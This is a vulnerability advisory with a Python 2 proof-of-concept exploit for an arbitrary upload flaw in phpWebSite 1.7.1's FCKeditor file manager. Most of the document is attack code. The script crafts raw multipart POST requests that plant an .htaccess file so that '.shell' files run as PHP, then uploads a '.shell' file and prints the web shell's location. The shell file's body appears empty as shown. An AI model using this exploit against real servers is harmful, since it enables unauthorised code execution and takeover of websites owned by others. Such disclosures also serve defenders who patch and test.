# ------------------------------------------------------------------------ # Software................phpWebSite 1.7.1 # Vulnerability...........Arbitrary Upload # Threat Level............Very Critical (5/5) # Download................http://phpwebsite.appstate.edu/ # Discovery Date..........5/5/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch # ------------------------------------------------------------------------ # # # --Description-- # # An arbitrary upload vulnerability in phpWebSite 1.7.1 can be exploited # to upload a PHP shell. # # # --PoC-- import socket host = 'localhost' path = '/phpwebsite_1_7_1' shell_path = path + '/javascript/editors/fckeditor/editor/filemanager/upload/phpws/.shell' port = 80 def upload_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/javascript/editors/fckeditor/editor/filemanager/upload/phpws/upload.php?local=.htaccess HTTP/1.1\r\n' 'Host: localhost\r\n' 'Proxy-Connection: keep-alive\r\n' 'User-Agent: x\r\n' 'Content-Length: 223\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: null\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Accept: text/html\r\n' 'Accept-Encoding: gzip,deflate,sdch\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n' '------x\r\n' 'Content-Disposition: form-data; name="NewFile"; filename=".htaccess"\r\n' 'Content-Type: application/octet-stream\r\n' '\r\n' 'AddType application/x-httpd-php .shell\r\n' '\r\n' 'Action application/x-httpd-php "/php/php.exe"\r\n' '------x--\r\n' '\r\n') resp = s.recv(8192) http_ok = 'HTTP/1.1 200 OK' if http_ok not in resp[:len(http_ok)]: print 'error uploading .htaccess' return else: print '.htaccess uploaded' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/javascript/editors/fckeditor/editor/filemanager/upload/phpws/upload.php?local=.htaccess HTTP/1.1\r\n' 'Host: localhost\r\n' 'Proxy-Connection: keep-alive\r\n' 'User-Agent: x\r\n' 'Content-Length: 163\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: null\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Accept: text/html\r\n' 'Accept-Encoding: gzip,deflate,sdch\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n' '------x\r\n' 'Content-Disposition: form-data; name="NewFile"; filename=".shell"\r\n' 'Content-Type: application/octet-stream\r\n' '\r\n' '\r\n' '------x--\r\n' '\r\n') resp = s.recv(8192) http_ok = 'HTTP/1.1 200 OK' if http_ok not in resp[:len(http_ok)]: print 'error uploading shell' return else: print 'shell uploaded' s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n\r\n') print 'shell located at http://' + host + shell_path upload_shell()

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